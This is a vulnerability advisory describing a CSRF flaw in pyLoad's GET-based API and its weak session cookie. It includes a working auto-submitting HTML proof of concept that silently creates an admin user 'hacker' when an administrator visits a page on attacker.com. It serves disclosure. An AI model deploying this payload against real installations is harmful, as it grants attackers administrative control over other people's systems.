Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
### Summary
The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
### PoC
We host the following HTML file on an attacker-controlled server.
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="
http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.
!image
https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png
The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.
!image
https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png
### Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
